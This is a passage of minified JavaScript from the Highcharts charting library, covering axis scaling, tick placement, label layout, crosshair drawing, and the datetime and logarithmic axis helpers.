o=(a.isOrdinal||a.isBroken||a.isLog&&o)&&a.lin2val,c||(c=a.transA),i&&(r*=-1,h=a.len),a.reversed&&(h-=(r*=-1)*(a.sector||a.len)),e?(t=(t*r+h-d)/c+s,o&&(t=a.lin2val(t))):(o&&(t=a.val2lin(t)),t=l(s)?r*(t-s)*c+h+r*d+(l(n)?c*n:0):void 0),t},toPixels:function(t,e){return this.translate(t,!1,!this.horiz,null,!0)+(e?0:this.pos)},toValue:function(t,e){return this.translate(t-(e?0:this.pos),!0,!this.horiz,null,!0)},getPlotLinePath:function(t){var e,i,s,o,n,a=this,r=a.chart,h=a.left,c=a.top,p=t.old,u=t.value,f=t.translatedValue,g=t.lineWidth,m=t.force,v=p&&r.oldChartHeight||r.chartHeight,x=p&&r.oldChartWidth||r.chartWidth,y=a.transB,w=function(t,e,i){return("pass"!==m&&t<e||t>i)&&(m?t=Math.min(Math.max(e,t),i):n=!0),t};return t={value:u,lineWidth:g,old:p,force:m,acrossPanes:t.acrossPanes,translatedValue:f},b(this,"getPlotLinePath",t,(function(t){f=d(f,a.translate(u,null,null,p)),f=Math.min(Math.max(-1e5,f),1e5),e=s=Math.round(f+y),i=o=Math.round(v-f-y),l(f)?a.horiz?(i=c,o=v-a.bottom,e=s=w(e,h,h+a.width)):(e=h,s=x-a.right,i=o=w(i,c,c+a.height)):(n=!0,m=!1),t.path=n&&!m?null:r.renderer.crispLine(["M",e,i,"L",s,o],g||1)})),t.path},getLinearTickPositions:function(t,e,i){var s=v(Math.floor(e/t)*t);i=v(Math.ceil(i/t)*t);var o,n=[];if(v(s+t)===s&&(o=20),this.single)return[e];for(e=s;e<=i&&(n.push(e),(e=v(e+t,o))!==a);)var a=e;return n},getMinorTickInterval:function(){var t=this.options;return!0===t.minorTicks?d(t.minorTickInterval,"auto"):!1===t.minorTicks?null:t.minorTickInterval},getMinorTickPositions:function(){var t=this,e=t.options,i=t.tickPositions,s=t.minorTickInterval,o=[],n=t.pointRangePadding||0,a=t.min-n,r=(n=t.max+n)-a;if(r&&r/s<t.len/3)if(t.isLog)this.paddedTicks.forEach((function(e,i,n){i&&o.push.apply(o,t.getLogTickPositions(s,n[i-1],n[i],!0))}));else if(t.isDatetimeAxis&&"auto"===this.getMinorTickInterval())o=o.concat(t.getTimeTicks(t.normalizeTimeTickInterval(s),a,n,e.startOfWeek));else for(e=a+(i[0]-a)%s;e<=n&&e!==o[0];e+=s)o.push(e);return 0!==o.length&&t.trimTicks(o),o},adjustForMinRange:function(){var t,e,n,a,r=this.options,l=this.min,h=this.max;if(this.isXAxis&&void 0===this.minRange&&!this.isLog&&(o(r.min)||o(r.max)?this.minRange=null:(this.series.forEach((function(i){for(a=i.xData,e=i.xIncrement?1:a.length-1;0<e;e--)n=a[e]-a[e-1],(void 0===t||n<t)&&(t=n)})),this.minRange=Math.min(5*t,this.dataMax-this.dataMin))),h-l<this.minRange){var c=this.dataMax-this.dataMin>=this.minRange,p=this.minRange,u=(p-h+l)/2;u=[l-u,d(r.min,l-u)],c&&(u[2]=this.isLog?this.log2lin(this.dataMin):this.dataMin),h=[(l=i(u))+p,d(r.max,l+p)],c&&(h[2]=this.isLog?this.log2lin(this.dataMax):this.dataMax),(h=s(h))-l<p&&(u[0]=h-p,u[1]=d(r.min,h-p),l=i(u))}this.min=l,this.max=h},getClosest:function(){var t;return this.categories?t=1:this.series.forEach((function(e){var i=e.closestPointRange,s=e.visible||!e.chart.options.chart.ignoreHiddenSeries;!e.noSharedTooltip&&o(i)&&s&&(t=o(t)?Math.min(t,i):i)})),t},nameToX:function(t){var e=r(this.categories),i=e?this.categories:this.names,s=t.options.x;if(t.series.requireSorting=!1,o(s)||(s=!1===this.options.uniqueNames?t.series.autoIncrement():e?i.indexOf(t.name):d(i.keys[t.name],-1)),-1===s){if(!e)var n=i.length}else n=s;return void 0!==n&&(this.names[n]=t.name,this.names.keys[t.name]=n),n},updateNames:function(){var t=this,e=this.names;0<e.length&&(Object.keys(e.keys).forEach((function(t){delete e.keys[t]})),e.length=0,this.minRange=this.userMinRange,(this.series||[]).forEach((function(e){e.xIncrement=null,e.points&&!e.isDirtyData||(t.max=Math.max(t.max,e.xData.length-1),e.processData(),e.generatePoints()),e.data.forEach((function(i,s){if(i&&i.options&&void 0!==i.name){var o=t.nameToX(i);void 0!==o&&o!==i.x&&(i.x=o,e.xData[s]=o)}}))})))},setAxisTranslation:function(t){var e=this,i=e.max-e.min,s=e.axisPointRange||0,o=0,n=0,a=e.linkedParent,r=!!e.categories,l=e.transA,c=e.isXAxis;if(c||r||s){var p=e.getClosest();a?(o=a.minPointOffset,n=a.pointRangePadding):e.series.forEach((function(t){var i=r?1:c?d(t.options.pointRange,p,0):e.axisPointRange||0,a=t.options.pointPlacement;s=Math.max(s,i),e.single&&!r||(t=C.xrange&&t instanceof C.xrange?!c:c,o=Math.max(o,t&&h(a)?0:i/2),n=Math.max(n,t&&"on"===a?0:i))})),a=e.ordinalSlope&&p?e.ordinalSlope/p:1,e.minPointOffset=o*=a,e.pointRangePadding=n*=a,e.pointRange=Math.min(s,e.single&&r?1:i),c&&(e.closestPointRange=p)}t&&(e.oldTransA=l),e.translationSlope=e.transA=l=e.staticScale||e.len/(i+n||1),e.transB=e.horiz?e.left:e.bottom,e.minPixelPadding=l*o,b(this,"afterSetAxisTranslation")},minFromRange:function(){return this.max-this.range},setTickInterval:function(e){var i=this,s=i.chart,n=i.options,a=i.isLog,r=i.isDatetimeAxis,h=i.isXAxis,c=i.isLinked,p=n.maxPadding,u=n.minPadding,f=n.tickInterval,g=n.tickPixelInterval,m=i.categories,x=l(i.threshold)?i.threshold:null,y=i.softThreshold;r||m||c||this.getTickAmount();var w=d(i.userMin,n.min),M=d(i.userMax,n.max);if(c){i.linkedParent=s[i.coll][n.linkedTo];var T=i.linkedParent.getExtremes();i.min=d(T.min,T.dataMin),i.max=d(T.max,T.dataMax),n.type!==i.linkedParent.options.type&&t.error(11,1,s)}else{if(!y&&o(x))if(i.dataMin>=x)T=x,u=0;else if(i.dataMax<=x){var C=x;p=0}i.min=d(w,T,i.dataMin),i.max=d(M,C,i.dataMax)}a&&(i.positiveValuesOnly&&!e&&0>=Math.min(i.min,d(i.dataMin,i.min))&&t.error(10,1,s),i.min=v(i.log2lin(i.min),16),i.max=v(i.log2lin(i.max),16)),i.range&&o(i.max)&&(i.userMin=i.min=w=Math.max(i.dataMin,i.minFromRange()),i.userMax=M=i.max,i.range=null),b(i,"foundExtremes"),i.beforePadding&&i.beforePadding(),i.adjustForMinRange(),!(m||i.axisPointRange||i.usePercentage||c)&&o(i.min)&&o(i.max)&&(s=i.max-i.min)&&(!o(w)&&u&&(i.min-=s*u),!o(M)&&p&&(i.max+=s*p)),l(n.softMin)&&!l(i.userMin)&&n.softMin<i.min&&(i.min=w=n.softMin),l(n.softMax)&&!l(i.userMax)&&n.softMax>i.max&&(i.max=M=n.softMax),l(n.floor)&&(i.min=Math.min(Math.max(i.min,n.floor),Number.MAX_VALUE)),l(n.ceiling)&&(i.max=Math.max(Math.min(i.max,n.ceiling),d(i.userMax,-Number.MAX_VALUE))),y&&o(i.dataMin)&&(x=x||0,!o(w)&&i.min<x&&i.dataMin>=x?i.min=i.options.minRange?Math.min(x,i.max-i.minRange):x:!o(M)&&i.max>x&&i.dataMax<=x&&(i.max=i.options.minRange?Math.max(x,i.min+i.minRange):x)),i.tickInterval=i.min===i.max||void 0===i.min||void 0===i.max?1:c&&!f&&g===i.linkedParent.options.tickPixelInterval?f=i.linkedParent.tickInterval:d(f,this.tickAmount?(i.max-i.min)/Math.max(this.tickAmount-1,1):void 0,m?1:(i.max-i.min)*g/Math.max(i.len,g)),h&&!e&&i.series.forEach((function(t){t.processData(i.min!==i.oldMin||i.max!==i.oldMax)})),i.setAxisTranslation(!0),i.beforeSetTickPositions&&i.beforeSetTickPositions(),i.postProcessTickInterval&&(i.tickInterval=i.postProcessTickInterval(i.tickInterval)),i.pointRange&&!f&&(i.tickInterval=Math.max(i.pointRange,i.tickInterval)),e=d(n.minTickInterval,i.isDatetimeAxis&&i.closestPointRange),!f&&i.tickInterval<e&&(i.tickInterval=e),r||a||f||(i.tickInterval=S(i.tickInterval,null,k(i.tickInterval),d(n.allowDecimals,!(.5<i.tickInterval&&5>i.tickInterval&&1e3<i.max&&9999>i.max)),!!this.tickAmount)),this.tickAmount||(i.tickInterval=i.unsquish()),this.setTickPositions()},setTickPositions:function(){var e=this.options,i=e.tickPositions,s=this.getMinorTickInterval(),n=e.tickPositioner,a=e.startOnTick,r=e.endOnTick;this.tickmarkOffset=this.categories&&"between"===e.tickmarkPlacement&&1===this.tickInterval?.5:0,this.minorTickInterval="auto"===s&&this.tickInterval?this.tickInterval/5:s,this.single=this.min===this.max&&o(this.min)&&!this.tickAmount&&(parseInt(this.min,10)===this.min||!1!==e.allowDecimals),this.tickPositions=s=i&&i.slice(),!s&&(!this.ordinalPositions&&(this.max-this.min)/this.tickInterval>Math.max(2*this.len,200)?(s=[this.min,this.max],t.error(19,!1,this.chart)):s=this.isDatetimeAxis?this.getTimeTicks(this.normalizeTimeTickInterval(this.tickInterval,e.units),this.min,this.max,e.startOfWeek,this.ordinalPositions,this.closestPointRange,!0):this.isLog?this.getLogTickPositions(this.tickInterval,this.min,this.max):this.getLinearTickPositions(this.tickInterval,this.min,this.max),s.length>this.len&&(s=[s[0],s.pop()])[0]===s[1]&&(s.length=1),this.tickPositions=s,n&&(n=n.apply(this,[this.min,this.max])))&&(this.tickPositions=s=n),this.paddedTicks=s.slice(0),this.trimTicks(s,a,r),this.isLinked||(this.single&&2>s.length&&!this.categories&&(this.min-=.5,this.max+=.5),i||n||this.adjustTickAmount()),b(this,"afterSetTickPositions")},trimTicks:function(t,e,i){var s=t[0],n=t[t.length-1],a=this.minPointOffset||0;if(b(this,"trimTicks"),!this.isLinked){if(e&&-1/0!==s)this.min=s;else for(;this.min-a>t[0];)t.shift();if(i)this.max=n;else for(;this.max+a<t[t.length-1];)t.pop();0===t.length&&o(s)&&!this.options.tickPositions&&t.push((n+s)/2)}},alignToOthers:function(){var t,e={},i=this.options;return!1===this.chart.options.chart.alignTicks||!1===i.alignTicks||!1===i.startOnTick||!1===i.endOnTick||this.isLog||this.chart[this.coll].forEach((function(i){var s=i.options;s=[i.horiz?s.left:s.top,s.width,s.height,s.pane].join(),i.series.length&&(e[s]?t=!0:e[s]=1)})),t},getTickAmount:function(){var t=this.options,e=t.tickAmount,i=t.tickPixelInterval;!o(t.tickInterval)&&this.len<i&&!this.isRadial&&!this.isLog&&t.startOnTick&&t.endOnTick&&(e=2),!e&&this.alignToOthers()&&(e=Math.ceil(this.len/i)+1),4>e&&(this.finalTickAmt=e,e=5),this.tickAmount=e},adjustTickAmount:function(){var t,e=this.options,i=this.tickInterval,s=this.tickPositions,n=this.tickAmount,a=this.finalTickAmt,r=s&&s.length,l=d(this.threshold,this.softThreshold?0:null);if(this.hasData()){if(r<n){for(t=this.min;s.length<n;)s.length%2||t===l?s.push(v(s[s.length-1]+i)):s.unshift(v(s[0]-i));this.transA*=(r-1)/(n-1),this.min=e.startOnTick?s[0]:Math.min(this.min,s[0]),this.max=e.endOnTick?s[s.length-1]:Math.max(this.max,s[s.length-1])}else r>n&&(this.tickInterval*=2,this.setTickPositions());if(o(a)){for(i=e=s.length;i--;)(3===a&&1==i%2||2>=a&&0<i&&i<e-1)&&s.splice(i,1);this.finalTickAmt=void 0}}},setScale:function(){var t,e=this.series.some((function(t){return t.isDirtyData||t.isDirty||t.xAxis&&t.xAxis.isDirty}));this.oldMin=this.min,this.oldMax=this.max,this.oldAxisLength=this.len,this.setAxisSize(),(t=this.len!==this.oldAxisLength)||e||this.isLinked||this.forceRedraw||this.userMin!==this.oldUserMin||this.userMax!==this.oldUserMax||this.alignToOthers()?(this.resetStacks&&this.resetStacks(),this.forceRedraw=!1,this.getSeriesExtremes(),this.setTickInterval(),this.oldUserMin=this.userMin,this.oldUserMax=this.userMax,this.isDirty||(this.isDirty=t||this.min!==this.oldMin||this.max!==this.oldMax)):this.cleanStacks&&this.cleanStacks(),b(this,"afterSetScale")},setExtremes:function(t,e,i,s,o){var n=this,r=n.chart;i=d(i,!0),n.series.forEach((function(t){delete t.kdTree})),o=a(o,{min:t,max:e}),b(n,"setExtremes",o,(function(){n.userMin=t,n.userMax=e,n.eventArgs=o,i&&r.redraw(s)}))},zoom:function(t,e){var i=this.dataMin,s=this.dataMax,n=this.options,a=Math.min(i,d(n.min,i)),r=Math.max(s,d(n.max,s));return b(this,"zoom",t={newMin:t,newMax:e},(function(t){var e=t.newMin,n=t.newMax;e===this.min&&n===this.max||(this.allowZoomOutside||(o(i)&&(e<a&&(e=a),e>r&&(e=r)),o(s)&&(n<a&&(n=a),n>r&&(n=r))),this.displayBtn=void 0!==e||void 0!==n,this.setExtremes(e,n,!1,void 0,{trigger:"zoom"})),t.zoomed=!0})),t.zoomed},setAxisSize:function(){var e=this.chart,i=this.options,s=i.offsets||[0,0,0,0],o=this.horiz,n=this.width=Math.round(t.relativeLength(d(i.width,e.plotWidth-s[3]+s[1]),e.plotWidth)),a=this.height=Math.round(t.relativeLength(d(i.height,e.plotHeight-s[0]+s[2]),e.plotHeight)),r=this.top=Math.round(t.relativeLength(d(i.top,e.plotTop+s[0]),e.plotHeight,e.plotTop));i=this.left=Math.round(t.relativeLength(d(i.left,e.plotLeft+s[3]),e.plotWidth,e.plotLeft)),this.bottom=e.chartHeight-a-r,this.right=e.chartWidth-n-i,this.len=Math.max(o?n:a,0),this.pos=o?i:r},getExtremes:function(){var t=this.isLog;return{min:t?v(this.lin2log(this.min)):this.min,max:t?v(this.lin2log(this.max)):this.max,dataMin:this.dataMin,dataMax:this.dataMax,userMin:this.userMin,userMax:this.userMax}},getThreshold:function(t){var e=this.isLog,i=e?this.lin2log(this.min):this.min;return e=e?this.lin2log(this.max):this.max,null===t||-1/0===t?t=i:1/0===t?t=e:i>t?t=i:e<t&&(t=e),this.translate(t,0,1,0,1)},autoLabelAlign:function(t){var e=(d(t,0)-90*this.side+720)%360;return b(this,"autoLabelAlign",t={align:"center"},(function(t){15<e&&165>e?t.align="right":195<e&&345>e&&(t.align="left")})),t.align},tickSize:function(t){var e=this.options,i=e[t+"Length"],s=d(e[t+"Width"],"tick"===t&&this.isXAxis&&!this.categories?1:0);if(s&&i){"inside"===e[t+"Position"]&&(i=-i);var o=[i,s]}return b(this,"afterTickSize",t={tickSize:o}),t.tickSize},labelMetrics:function(){var t=this.tickPositions&&this.tickPositions[0]||0;return this.chart.renderer.fontMetrics(this.options.labels.style&&this.options.labels.style.fontSize,this.ticks[t]&&this.ticks[t].label)},unsquish:function(){var t,e,i,s=this.options.labels,n=this.horiz,a=this.tickInterval,r=a,l=this.len/(((this.categories?1:0)+this.max-this.min)/a),h=s.rotation,c=this.labelMetrics(),p=Number.MAX_VALUE,u=this.max-this.min,f=function(t){var e=t/(l||1);return(e=1<e?Math.ceil(e):1)*a>u&&1/0!==t&&1/0!==l&&u&&(e=Math.ceil(u/a)),v(e*a)};return n?(i=!s.staggerLines&&!s.step&&(o(h)?[h]:l<d(s.autoRotationLimit,80)&&s.autoRotation))&&i.forEach((function(i){if(i===h||i&&-90<=i&&90>=i){var s=(e=f(Math.abs(c.h/Math.sin(y*i))))+Math.abs(i/360);s<p&&(p=s,t=i,r=e)}})):s.step||(r=f(c.h)),this.autoRotation=i,this.labelRotation=d(t,h),r},getSlotWidth:function(t){var e=this.chart,i=this.horiz,s=this.options.labels,o=Math.max(this.tickPositions.length-(this.categories?0:1),1),n=e.margin[3];return t&&t.slotWidth||i&&2>(s.step||0)&&!s.rotation&&(this.staggerLines||1)*this.len/o||!i&&(s.style&&parseInt(s.style.width,10)||n&&n-e.spacing[3]||.33*e.chartWidth)},renderUnsquish:function(){var t=this.chart,e=t.renderer,i=this.tickPositions,s=this.ticks,o=this.options.labels,n=o&&o.style||{},a=this.horiz,r=this.getSlotWidth(),l=Math.max(1,Math.round(r-2*(o.padding||5))),c={},d=this.labelMetrics(),p=o.style&&o.style.textOverflow,u=0;if(h(o.rotation)||(c.rotation=o.rotation||0),i.forEach((function(t){(t=s[t])&&t.label&&t.label.textPxLength>u&&(u=t.label.textPxLength)})),this.maxLabelLength=u,this.autoRotation)u>l&&u>d.h?c.rotation=this.labelRotation:this.labelRotation=0;else if(r){var f=l;if(!p){var g="clip";for(l=i.length;!a&&l--;){var m=i[l];(m=s[m].label)&&(m.styles&&"ellipsis"===m.styles.textOverflow?m.css({textOverflow:"clip"}):m.textPxLength>r&&m.css({width:r+"px"}),m.getBBox().height>this.len/i.length-(d.h-d.f)&&(m.specificTextOverflow="ellipsis"))}}}c.rotation&&(f=u>.5*t.chartHeight?.33*t.chartHeight:u,p||(g="ellipsis")),(this.labelAlign=o.align||this.autoLabelAlign(this.labelRotation))&&(c.align=this.labelAlign),i.forEach((function(t){var e=(t=s[t])&&t.label,i=n.width,o={};e&&(e.attr(c),t.shortenLabel?t.shortenLabel():f&&!i&&"nowrap"!==n.whiteSpace&&(f<e.textPxLength||"SPAN"===e.element.tagName)?(o.width=f,p||(o.textOverflow=e.specificTextOverflow||g),e.css(o)):e.styles&&e.styles.width&&!o.width&&!i&&e.css({width:null}),delete e.specificTextOverflow,t.rotation=c.rotation)}),this),this.tickRotCorr=e.rotCorr(d.b,this.labelRotation||0,0!==this.side)},hasData:function(){return this.series.some((function(t){return t.hasData()}))||this.options.showEmpty&&o(this.min)&&o(this.max)},addTitle:function(t){var e,i=this.chart.renderer,s=this.horiz,o=this.opposite,n=this.options.title,a=this.chart.styledMode;this.axisTitle||((e=n.textAlign)||(e=(s?{low:"left",middle:"center",high:"right"}:{low:o?"right":"left",middle:"center",high:o?"left":"right"})[n.align]),this.axisTitle=i.text(n.text,0,0,n.useHTML).attr({zIndex:7,rotation:n.rotation||0,align:e}).addClass("highcharts-axis-title"),a||this.axisTitle.css(M(n.style)),this.axisTitle.add(this.axisGroup),this.axisTitle.isNew=!0),a||n.style.width||this.isRadial||this.axisTitle.css({width:this.len}),this.axisTitle[t?"show":"hide"](t)},generateTick:function(t){var e=this.ticks;e[t]?e[t].addLabel():e[t]=new A(this,t)},getOffset:function(){var t,e=this,i=e.chart,s=i.renderer,n=e.options,a=e.tickPositions,r=e.ticks,l=e.horiz,h=e.side,p=i.inverted&&!e.isZAxis?[1,0,3,2][h]:h,u=0,f=0,g=n.title,m=n.labels,v=0,x=i.axisOffset;i=i.clipOffset;var y=[-1,1,1,-1][h],w=n.className,k=e.axisParent,M=e.hasData();if(e.showAxis=t=M||d(n.showEmpty,!0),e.staggerLines=e.horiz&&m.staggerLines,e.axisGroup||(e.gridGroup=s.g("grid").attr({zIndex:n.gridZIndex||1}).addClass("highcharts-"+this.coll.toLowerCase()+"-grid "+(w||"")).add(k),e.axisGroup=s.g("axis").attr({zIndex:n.zIndex||2}).addClass("highcharts-"+this.coll.toLowerCase()+" "+(w||"")).add(k),e.labelGroup=s.g("axis-labels").attr({zIndex:m.zIndex||7}).addClass("highcharts-"+e.coll.toLowerCase()+"-labels "+(w||"")).add(k)),M||e.isLinked?(a.forEach((function(t,i){e.generateTick(t,i)})),e.renderUnsquish(),e.reserveSpaceDefault=0===h||2===h||{1:"left",3:"right"}[h]===e.labelAlign,d(m.reserveSpace,"center"===e.labelAlign||null,e.reserveSpaceDefault)&&a.forEach((function(t){v=Math.max(r[t].getLabelSize(),v)})),e.staggerLines&&(v*=e.staggerLines),e.labelOffset=v*(e.opposite?-1:1)):c(r,(function(t,e){t.destroy(),delete r[e]})),g&&g.text&&!1!==g.enabled&&(e.addTitle(t),t&&!1!==g.reserveSpace)){e.titleOffset=u=e.axisTitle.getBBox()[l?"height":"width"];var S=g.offset;f=o(S)?0:d(g.margin,l?5:10)}e.renderLine(),e.offset=y*d(n.offset,x[h]?x[h]+(n.margin||0):0),e.tickRotCorr=e.tickRotCorr||{x:0,y:0},s=0===h?-e.labelMetrics().h:2===h?e.tickRotCorr.y:0,f=Math.abs(v)+f,v&&(f=f-s+y*(l?d(m.y,e.tickRotCorr.y+8*y):m.x)),e.axisTitleMargin=d(S,f),e.getMaxLabelDimensions&&(e.maxLabelDimensions=e.getMaxLabelDimensions(r,a)),l=this.tickSize("tick"),x[h]=Math.max(x[h],e.axisTitleMargin+u+y*e.offset,f,a&&a.length&&l?l[0]+y*e.offset:0),n=n.offset?0:2*Math.floor(e.axisLine.strokeWidth()/2),i[p]=Math.max(i[p],n),b(this,"afterGetOffset")},getLinePath:function(t){var e=this.chart,i=this.opposite,s=this.offset,o=this.horiz,n=this.left+(i?this.width:0)+s;return s=e.chartHeight-this.bottom-(i?this.height:0)+s,i&&(t*=-1),e.renderer.crispLine(["M",o?this.left:n,o?s:this.top,"L",o?e.chartWidth-this.right:n,o?s:e.chartHeight-this.bottom],t)},renderLine:function(){this.axisLine||(this.axisLine=this.chart.renderer.path().addClass("highcharts-axis-line").add(this.axisGroup),this.chart.styledMode||this.axisLine.attr({stroke:this.options.lineColor,"stroke-width":this.options.lineWidth,zIndex:7}))},getTitlePosition:function(){var t=this.horiz,e=this.left,i=this.top,s=this.len,o=this.options.title,n=t?e:i,a=this.opposite,r=this.offset,l=o.x||0,h=o.y||0,c=this.axisTitle,d=this.chart.renderer.fontMetrics(o.style&&o.style.fontSize,c);return c=Math.max(c.getBBox(null,0).height-d.h-1,0),s={low:n+(t?0:s),middle:n+s/2,high:n+(t?s:0)}[o.align],e=(t?i+this.height:e)+(t?1:-1)*(a?-1:1)*this.axisTitleMargin+[-c,c,d.f,-c][this.side],t={x:t?s+l:e+(a?this.width:0)+r+l,y:t?e+h-(a?this.height:0)+r:s+h},b(this,"afterGetTitlePosition",{titlePosition:t}),t},renderMinorTick:function(t){var e=this.chart.hasRendered&&l(this.oldMin),i=this.minorTicks;i[t]||(i[t]=new A(this,t,"minor")),e&&i[t].isNew&&i[t].render(null,!0),i[t].render(null,!1,1)},renderTick:function(t,e){var i=this.isLinked,s=this.ticks,o=this.chart.hasRendered&&l(this.oldMin);(!i||t>=this.min&&t<=this.max)&&(s[t]||(s[t]=new A(this,t)),o&&s[t].isNew&&s[t].render(e,!0,-1),s[t].render(e))},render:function(){var e,i,s=this,o=s.chart,n=s.options,a=s.isLog,r=s.isLinked,h=s.tickPositions,d=s.axisTitle,p=s.ticks,f=s.minorTicks,m=s.alternateBands,v=n.stackLabels,x=n.alternateGridColor,y=s.tickmarkOffset,w=s.axisLine,k=s.showAxis,M=g(o.renderer.globalAnimation);s.labelEdge.length=0,s.overlap=!1,[p,f,m].forEach((function(t){c(t,(function(t){t.isActive=!1}))})),(s.hasData()||r)&&(s.minorTickInterval&&!s.categories&&s.getMinorTickPositions().forEach((function(t){s.renderMinorTick(t)})),h.length&&(h.forEach((function(t,e){s.renderTick(t,e)})),y&&(0===s.min||s.single)&&(p[-1]||(p[-1]=new A(s,-1,null,!0)),p[-1].render(-1))),x&&h.forEach((function(n,r){i=void 0!==h[r+1]?h[r+1]+y:s.max-y,0==r%2&&n<s.max&&i<=s.max+(o.polar?-y:y)&&(m[n]||(m[n]=new t.PlotLineOrBand(s)),e=n+y,m[n].options={from:a?s.lin2log(e):e,to:a?s.lin2log(i):i,color:x},m[n].render(),m[n].isActive=!0)})),s._addedPlotLB||((n.plotLines||[]).concat(n.plotBands||[]).forEach((function(t){s.addPlotBandOrLine(t)})),s._addedPlotLB=!0)),[p,f,m].forEach((function(t){var e,i=[],s=M.duration;c(t,(function(t,e){t.isActive||(t.render(e,!1,0),t.isActive=!1,i.push(e))})),u((function(){for(e=i.length;e--;)t[i[e]]&&!t[i[e]].isActive&&(t[i[e]].destroy(),delete t[i[e]])}),t!==m&&o.hasRendered&&s?s:0)})),w&&(w[w.isPlaced?"animate":"attr"]({d:this.getLinePath(w.strokeWidth())}),w.isPlaced=!0,w[k?"show":"hide"](k)),d&&k&&(n=s.getTitlePosition(),l(n.y)?(d[d.isNew?"attr":"animate"](n),d.isNew=!1):(d.attr("y",-9999),d.isNew=!0)),v&&v.enabled&&s.renderStackTotals(),s.isDirty=!1,b(this,"afterRender")},redraw:function(){this.visible&&(this.render(),this.plotLinesAndBands.forEach((function(t){t.render()}))),this.series.forEach((function(t){t.isDirty=!0}))},keepProps:"extKey hcEvents names series userMax userMin".split(" "),destroy:function(t){var e,i=this,s=i.stacks,o=i.plotLinesAndBands;if(b(this,"destroy",{keepEvents:t}),t||T(i),c(s,(function(t,e){n(t),s[e]=null})),[i.ticks,i.minorTicks,i.alternateBands].forEach((function(t){n(t)})),o)for(t=o.length;t--;)o[t].destroy();for(e in"stackTotalGroup axisLine axisTitle axisGroup gridGroup labelGroup cross scrollbar".split(" ").forEach((function(t){i[t]&&(i[t]=i[t].destroy())})),i.plotLinesAndBandsGroups)i.plotLinesAndBandsGroups[e]=i.plotLinesAndBandsGroups[e].destroy();c(i,(function(t,e){-1===i.keepProps.indexOf(e)&&delete i[e]}))},drawCrosshair:function(t,e){var i,s,n=this.crosshair,a=d(n.snap,!0),r=this.cross;if(b(this,"drawCrosshair",{e:t,point:e}),t||(t=this.cross&&this.cross.e),this.crosshair&&!1!==(o(e)||!a)){if(a?o(e)&&(s=d("colorAxis"!==this.coll?e.crosshairPos:null,this.isXAxis?e.plotX:this.len-e.plotY)):s=t&&(this.horiz?t.chartX-this.pos:this.len-t.chartY+this.pos),o(s)&&(i=this.getPlotLinePath({value:e&&(this.isXAxis?e.x:d(e.stackY,e.y)),translatedValue:s})||null),!o(i))return void this.hideCrosshair();a=this.categories&&!this.isRadial,r||(this.cross=r=this.chart.renderer.path().addClass("highcharts-crosshair highcharts-crosshair-"+(a?"category ":"thin ")+n.className).attr({zIndex:d(n.zIndex,2)}).add(),this.chart.styledMode||(r.attr({stroke:n.color||(a?m("#ccd6eb").setOpacity(.25).get():"#cccccc"),"stroke-width":d(n.width,1)}).css({"pointer-events":"none"}),n.dashStyle&&r.attr({dashstyle:n.dashStyle}))),r.show().attr({d:i}),a&&!n.width&&r.attr({"stroke-width":this.transA}),this.cross.e=t}else this.hideCrosshair();b(this,"afterDrawCrosshair",{e:t,point:e})},hideCrosshair:function(){this.cross&&this.cross.hide(),b(this,"afterHideCrosshair")}}),t.Axis=e})),e(i,"parts/DateTimeAxis.js",[i["parts/Globals.js"]],(function(t){var e=t.Axis,i=t.getMagnitude,s=t.normalizeTickInterval,o=t.timeUnits;e.prototype.getTimeTicks=function(){return this.chart.time.getTimeTicks.apply(this.chart.time,arguments)},e.prototype.normalizeTimeTickInterval=function(t,e){var n=e||[["millisecond",[1,2,5,10,20,25,50,100,200,500]],["second",[1,2,5,10,15,30]],["minute",[1,2,5,10,15,30]],["hour",[1,2,3,4,6,8,12]],["day",[1,2]],["week",[1,2]],["month",[1,2,3,4,6]],["year",null]];e=n[n.length-1];var a,r=o[e[0]],l=e[1];for(a=0;a<n.length&&(e=n[a],r=o[e[0]],l=e[1],!(n[a+1]&&t<=(r*l[l.length-1]+o[n[a+1][0]])/2));a++);return r===o.year&&t<5*r&&(l=[1,2,5]),{unitRange:r,count:t=s(t/r,l,"year"===e[0]?Math.max(i(t/r),1):1),unitName:e[0]}}})),e(i,"parts/LogarithmicAxis.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.pick;e=t.Axis;var s=t.getMagnitude,o=t.normalizeTickInterval;e.prototype.getLogTickPositions=function(t,e,n,a){var r=this.options,l=this.len,h=[];if(a||(this._minorAutoInterval=null),.5<=t)t=Math.round(t),h=this.getLinearTickPositions(t,e,n);else if(.08<=t){var c,d;for(l=Math.floor(e),r=.3<t?[1,2,4]:.15<t?[1,2,4,6,8]:[1,2,3,4,5,6,7,8,9];l<n+1&&!d;l++){var p=r.length;for(c=0;c<p&&!d;c++){var u=this.log2lin(this.lin2log(l)*r[c]);u>e&&(!a||f<=n)&&void 0!==f&&h.push(f),f>n&&(d=!0);var f=u}}}else e=this.lin2log(e),n=this.lin2log(n),t=a?this.getMinorTickInterval():r.tickInterval,t=i("auto"===t?null:t,this._minorAutoInterval,r.tickPixelInterval/(a?5:1)*(n-e)/((a?l/this.tickPositions.length:l)||1)),t=o(t,null,s(t)),h=this.getLinearTickPositions(t,e,n).map(this.log2lin),a||(this._minorAutoInterval=t/5);return a||(this.tickInterval=t),h},e.prototype.log2lin=function(t){return Math.log(t)/Math.LN10},e.prototype.lin2log=function(t){return Math.pow(10,t)}})),e(i,"parts/PlotLineOrBand.js",[i["parts/Globals.js"],i["parts/Axis.js"],i["parts/Utilities.js"]],(function(t,e,i){var s=i.arrayMax,o=i.arrayMin,n=i.defined,a=i.destroyObjectProperties,r=i.erase,l=i.extend,h=i.objectEach,c=i.pick,d=t.merge;t.PlotLineOrBand=function(t,e){this.axis=t,e&&(this.options=e,this.id=e.id)},t.PlotLineOrBand.prototype={render:function(){t.fireEvent(this,"render");var e=this,i=e.axis,s=i.horiz,o=e.options,a=o.label,r=e.label,l=o.to,p=o.from,u=o.value,f=n(p)&&n(l),g=n(u),m=e.svgElem,v=!m,x=[],y=o.color,b=c(o.zIndex,0),w=o.events;x={class:"highcharts-plot-"+(f?"band ":"line ")+(o.className||"")};var 